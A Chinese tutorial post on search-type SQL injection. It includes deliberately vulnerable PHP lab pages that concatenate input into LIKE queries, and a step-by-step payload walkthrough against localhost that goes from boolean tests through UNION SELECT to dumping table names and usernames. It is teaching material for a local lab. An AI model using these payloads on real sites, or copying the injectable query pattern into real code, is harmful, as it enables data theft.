SQL注入——搜索型注入

news2025/3/9 13:19:09

搜索型注入——原理介绍

一些网站为了方便用户查找网站的资源,都对用户提供了搜索的功能,因为是搜索功能,往往是程序员在编写代码时都忽略了对其变量(参数)的过滤,而且这样的漏洞在国内的系统中普遍的存在;

其中又分为 POST/GET ,GET型的一般是用在网站上的搜索,而POST则用在用户名的登录,可以从form表单的 method="get" 属性来区分是get还是post。搜索型注入又称为文本框注入。

图片.png

一般后台搜索组合的SQL语句如下:

$sql = "select * from user where password like '%$pwd%' order by password";

这句SQL的语句就是基于用户输入的pwd在users表中找到相应的password,正常用户当然会输入例如admin,ckse等等。但是如果有人输入这样的内容呢?

ryan'and 1=1 and '%'='

这样的话这句SQL语句就变成了这样:

$sql = "select * from user where password like '%ryan'and 1=1 and '%'='%' order by password";

此时就存在SQL注入。

# mysql模糊查询

like 匹配/模糊匹配,会与 % 和 _ 结合使用。

'%a'     //以a结尾的数据
'a%'     //以a开头的数据
'%a%'    //含有a的数据
'_a_'    //三位且中间字母是a的
'_a'     //两位且结尾字母是a的
'a_'     //两位且开头字母是a的

查询以 java 字段开头的信息。

SELECT * FROM position WHERE name LIKE 'java%';

查询包含 java 字段的信息。

SELECT * FROM position WHERE name LIKE '%java%';

查询以 java 字段结尾的信息。

SELECT * FROM position WHERE name LIKE '%java';

# 搜索型注入——注入判断

1.搜索 keywords' ,如果出错的话,有90%的可能性存在注入;

2.搜索 keywords%' and 1=1 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=1 )看返回情况;

3.搜索 keywords%' and 1=2 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=2 )看返回情况;

4.根据2和3的返回情况来判断是不是搜索型文本框注入了。

以下几种语句也都可以:

'and 1=1 and '%'='
%' and 1=1 --+'
%' and 1=1 and '%'='

# 搜索型注入—GET型案例

<?php 
header("Content-Type:text/html;charset=utf-8");
  $pwd = $_GET['pwd'];
  $conn = mysql_connect("127.0.0.1:8889","root","root");
  if($conn){
    echo "连接数据库成功!";
  }
  echo "<br>";
  mysql_select_db('ryan',$conn); 
  $sql = "select * from user where password like '%$pwd%' order by password";
  $result = mysql_query($sql);
  $row = mysql_fetch_array($result);
  if($row){
    echo "用户ID:".$row['id']."<br>";
    echo "用户名:".$row['username']."<br>";
    echo "用户密码:".$row['password']."<br>";
    echo "用户邮箱:".$row['email']."<br>";
  }else{
    print_r(mysql_error());
  }
  mysql_close($conn);
  echo "<hr>";
  echo "你当前执行的sql语句为:"."<br>";
  echo $sql;
​
 ?>

1.访问靶场

图片.png

2.输入正常关键字进行查询

http://localhost:8888/get.php?pwd=ryan

图片.png

3.加单引号进行尝试

http://localhost:8888/get.php?pwd=ryan'

图片.png

加单引号出现报错,报错中出现 % 号,猜测可能为搜索型注入

4.使用以下payload进行测试

http://localhost:8888/get.php?pwd=ryan%' and 1=1 and '%'='
或者
http://localhost:8888/get.php?pwd=ryan%' and 1=1 --+

图片.png

正常显示

5.继续尝试以下payload

http://localhost:8888/get.php?pwd=ryan%' and 1=2 and '%'='

图片.png

无内容显示

通过以上测试,证明存在SQL注入漏洞

6.使用 order by 判断列数

http://localhost:8888/get.php?pwd=ryan%' order by 5 --+

图片.png

order by 5时,报错

http://localhost:8888/get.php?pwd=ryan%' order by 4 --+

图片.png

order by 4 时,正常显示

说明该数据表列数为4

7.判断回显位

http://localhost:8888/get.php?pwd=abc%' union select 1,2,3,4 --+

8.获取数据库名

http://localhost:8888/get.php?pwd=abc%' union select 1,database(),version(),4 --+

图片.png

9.获取表名

http://localhost:8888/get.php?pwd=abc%' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4 --+

图片.png

10.获取列名

http://localhost:8888/get.php?pwd=abc%' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='user'),3,4 --+

图片.png

11.获取数据

http://localhost:8888/get.php?pwd=abc%' union select 1,(select group_concat(username) from user),3,4 --+

图片.png

# 搜索型注入—POST型案例

<?php 
header("Content-Type:text/html;charset=utf-8");
  $id = $_POST['id'];
  $conn = mysql_connect("127.0.0.1:8889","root","root");
  if($conn){
    echo "连接数据库成功!";
  }
  echo "<br>";
  mysql_select_db('ryan',$conn); 
  $sql = "select * from user where id like '%$id%' order by id";
  $result = mysql_query($sql);
  $row = mysql_fetch_array($result);
  if($row){
    echo "用户ID:".$row['id']."<br>";
    echo "用户名:".$row['username']."<br>";
    echo "用户密码:".$row['password']."<br>";
    echo "用户邮箱:".$row['email']."<br>";
  }else{
    print_r(mysql_error());
  }
  mysql_close($conn);
  echo "<hr>";
  echo "你当前执行的sql语句为:"."<br>";
  echo $sql;
​
 ?>
​
<form action="" method="POST">
  id:<input name="id" type="text" /><br><br>  
  <input name="" type="submit" value="提交" />  
</form>

1.访问靶场 

图片.png

2.正常查询id,使用burp抓包 

图片.png

3.加单引号进行尝试

id=1'

图片.png

出现报错,且报错中出现 % 号,猜测是搜索型注入

4.使用以下payload进行测试

id=1%' and 1=1 --+

图片.png

正常显示

id=1%' and 1=2 --+

图片.png

无显示,判断存在注入

5.使用order by 判断列数

id=1%' order by 5 --+

图片.png

id=1%' order by 4 --+

图片.png

说明该表列数为4

6.判断回显位

id=abc%' union select 1,2,3,4 --+

图片.png

其他操作跟以上GET型案例相同

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1969209.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

实验2-5-2 生成3的乘方表

//实验2-5-2 生成3的乘方表//输入一个非负整数n&#xff0c;生成一张3的乘方表&#xff0c;输出30~3n的值。可调用幂函数计算3的乘方。 #include<stdio.h> #include<math.h> int main(){int n;int num0;scanf("%d",&n);//输入在一行中给出一个非负整…

Opencv threshold函数、adaptiveThreshold函数详解和示例

1.threshold函数 double cv::threshold(InputArray src, OutputArray dst, double thresh, double maxval, int type ) src&#xff1a;待二值化的图像&#xff0c;图像只能是 CV_8U 和 CV_32F 两种数据类型。对于图像通道数目的要求与选择的二值化方法相关。dst&#xff1a;…

全球汽车橡胶减震支架市场规划预测:未来六年CAGR为2.5%

随着汽车行业的持续发展和消费者对驾驶舒适性的需求增加&#xff0c;汽车橡胶减震支架作为提升车辆稳定性和乘坐舒适性的关键组件&#xff0c;正逐渐受到市场的广泛关注。本文旨在通过深度分析汽车橡胶减震支架行业的各个维度&#xff0c;揭示行业发展趋势和潜在机会。 【市场…

反序列化靶机serial漏洞复现 超详细教程

环境搭建 漏洞环境&#xff1a;https://www.vulnhub.com/entry/serial-1,349/ 下载后使用Vmware打开 创建新的虚拟机&#xff1a; 选择客户机版本为Ubuntu 64位&#xff1a; 一直下一步&#xff0c;知道选择使用现有磁盘&#xff1a; 选择下载的vmdk磁盘文件&#xff1a; 开机…

生信技能55 - WisecondorX分析结果过滤和质控

WisecondorX分析CNV,对每条染色的CNV loss和gain进行分组,对每个组求ratio平均值和zscore平均值,基于该数值对CNV进行质控和过滤,并对连续的CNV进行合并,获得可信的CNV。 WisecondorX基本使用方法以及npz文件转换和reference构建参考文章: 生信技能53 - wiseconrdoX自动…

利用扩散模型的反馈优化图片理解模型

利用扩散模型的反馈优化图片理解模型 自从 DDPM 以来&#xff0c;扩散模型已经成为了绝对主流的图片生成模型。最近&#xff0c;有研究者开始探索如何将扩散模型的生成能力用于提升判别模型的能力。主要有三种用法&#xff1a;生成模型反演用作判别模型、生成模型用于数据增强…

案例分享—国外优秀UI设计作品

国外 UI设计作品之所以出色&#xff0c;首先在于它们对用户体验的极致追求。设计师们深入了解用户需求&#xff0c;通过细腻的界面布局、直观的交互逻辑和丰富的视觉元素&#xff0c;打造出让用户爱不释手的作品。同时&#xff0c;他们勇于创新&#xff0c;不断尝试新的设计理念…

说说你们出来打工转了几个行业?

先说说我吧&#xff0c;大学毕业出来就从事智能交通刷卡方面&#xff0c;后来又从事多年的自动化控制&#xff0c;接着又做智能停车系统&#xff0c;接着又做医疗&#xff0c;美容仪器&#xff0c;仪器仪表&#xff0c;开关电源……做的有点杂&#xff0c;你们呢&#xff1f;一…

旧版本的Oracle OCM证书怎么升级到最新版本?

一、先来说一下OCM认证&#xff0c;全称是&#xff1a;Oracle Certified Master - Oracle认证大师&#xff0c;是Oracle数据管理员的最高级别的认证。 有了OCM证书&#xff0c;可以证明你的专业能力&#xff0c;是 Oracle 数据库管理方面具备高级和全面技能的权威认证。在竞争…

好用的抠图小技巧

在ps里的抠图方法 方法一&#xff1a;直接在菜单栏里选择主体&#xff0c;选中主体后会出现蚂蚁线&#xff0c;这个时候可能选区还不够完整&#xff0c;需要借助快速选择工具细化选取&#xff0c;选好之后按ctrlj复制选区就抠好啦 方法二&#xff1a;用快速选择工具直接选取人…

jdk环境、tomcat环境

回顾复习 安装nodejs&#xff0c;和jdk一样的软件运行环境 yum -y list installed|grep epel #是否安装epel yum -y install nodejs node -v #查看版本号 下载对应的nodejs软件npm yum -y install npm npm -v #查 npm set config ....淘宝镜像 安装vue/cli…

PatchCore:工业异常检测中的全面召回

PatchCore&#xff1a;工业异常检测中的全面召回 前言相关介绍PatchCore的工作原理&#xff1a;优点&#xff1a;缺点&#xff1a; 实验环境项目地址LinuxWindows 项目结构具体用法准备数据进行训练进行测试 常见问题ModuleNotFoundError: No module named patchcore解决方法 O…

【项目实战】—— 高并发内存池

文章目录 什么是高并发内存池&#xff1f;项目介绍一、项目背景二、项目目标三、核心组件四、关键技术五、应用场景六、项目优势 什么是高并发内存池&#xff1f; 高并发内存池是一种专门设计用于高并发环境下的内存管理机制。它的原型是Google的一个开源项目tcmalloc&#xff…

数字化转型中的安全挑战:源代码加密与文档加密的重要性

深信达SDC防泄密系统在源代码加密和文档加密领域的表现能力非常出色。根据搜索结果&#xff0c;SDC沙盒防泄密系统是专门针对敏感数据防泄密的保护系统&#xff0c;尤其适用于研发型企业的数据保护。系统通过实现对数据的代码级保护&#xff0c;不影响工作效率和正常使用&#…

实现Obsidian PC端和手机端(安卓)同步

步骤 1&#xff1a;在PC端设置Obsidian 安装Obsidian和Git&#xff1a;确保你的PC上已经安装了Obsidian和Git。你可以从Obsidian官网和Git官网下载并安装。 克隆GitHub代码库&#xff1a;在PC上打开命令行&#xff08;例如Windows的命令提示符或Mac/Linux的终端&#xff09;&a…

4.4、文件管理

文件结构 计算机系统中采用的索引文件结构如下图所示: 系统中有13个索引节点,0-9为直接索引,即每个索引节点存放的是内容,假设每个物理盘大小为4KB,共可存4KB * 1040KB数据; 10号索引节点为一级间接索引节点,大小为4KB,存放的并非直接数据,而是链接到直接物理盘块的地址,假设每…

利用 PhysicsConstraint 实现开门效果

先到 Sketchfab 中下载一个门的 3D Model&#xff0c;Popular 3D models - Sketchfab 下载完毕后解压导入到 UE5 中&#xff0c;注意这里需要导入 Static Mesh&#xff1b; 然后将贴图配置到材质 Door Material 中&#xff1b; 处理完毕后&#xff0c;配置使用 Modeling Tools …

【区块链+绿色低碳】山东邹平:区块链生态环境监管平台 | FISCO BCOS应用案例

山东省滨州市生态环境局邹平分局通过实地考察和调研发现&#xff0c;执法大队在执法工作中存在各排污企业设备系统无 法互通、终端采集数据固证难且可信度低、环境执法电子证据采集规则与司法采信标准不统一等痛点。而区块链 的分布式记账、不易篡改性和智能合约自动执行机制&a…

【无标题】vue2鼠标悬停(hover)时切换图片

在Vue 2中&#xff0c;要实现鼠标悬停&#xff08;hover&#xff09;时切换图片的功能&#xff0c;你不能直接在模板的:src绑定中处理这个逻辑&#xff0c;因为Vue的模板不支持条件渲染的复杂逻辑&#xff08;如基于鼠标状态的动态图片切换&#xff09;。但是&#xff0c;你可以…

图新说产品入门指南(让汇报变得轻松)

1.图新说是什么&#xff1f; 图新说是一个容器&#xff1a;可以加载融合各种无人机航测成果&#xff08;影像、地形倾斜模型&#xff09;、基础地理信息数据&#xff08;卫星影像、道路标注、水系、地质图、等高线、地形晕渲、人口等专题地图&#xff09;、业务数据&#xff0…